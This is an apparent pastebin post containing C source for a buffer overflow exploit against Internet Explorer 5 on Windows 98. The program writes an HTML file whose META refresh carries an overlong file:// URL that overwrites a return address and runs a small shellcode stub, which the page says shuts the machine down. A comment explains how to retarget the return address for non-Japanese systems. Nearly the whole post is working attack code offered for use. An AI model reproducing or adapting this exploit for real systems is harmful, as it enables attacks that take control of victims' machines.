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Paste #664

Posted by: loshadka
Posted on: 2026-03-22 16:05:14
Age: 8 hrs ago
Views: 6

/*=========================================================================
   Microsoft IE5 for Windows98 exploit

   wwww.downgrade-net.ru
  =========================================================================
*/

#include    <stdio.h>
#include    <windows.h>

#define     MAXBUF          1000
#define     RETADR          53

/*
    jmp esp (FF E4) code is stored in this area.
    You must change this address for non-Japanese Windows98
*/
#define     EIP             0x0012fd90
                                         
unsigned char   exploit_code[200]={
0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53,
0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3,
0x00
};

int main(int argc, char *argv[])
{
    FILE                    *fp;
    unsigned int            ip;
    unsigned char           buf[MAXBUF];

    if (argc<2){
        printf("usage %s output_htmlfile\n",argv[0]);
        exit(1);
    }
    if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;   
    fprintf(fp,"<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=file://test/");
    
    memset(buf,0x41,MAXBUF);
    ip=EIP;
    buf[RETADR-1]=0x7f;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=( ip>>24)&0xff;
    memcpy(buf+80,exploit_code,strlen(exploit_code));
    buf[MAXBUF]=0;
    fprintf(fp,"%s/\">\n<HTML><B>",buf);
    fprintf(fp,"10 seconds later, this machine will be shut down.</B><BR><BR>");
    fprintf(fp,"If you are using IE5 for Japanese Windows98, ");
    fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.<BR>");
    fprintf(fp,"</HTML>\n");
    fclose(fp);
    printf("%s created.\n",argv[1]);
    return FALSE;
}

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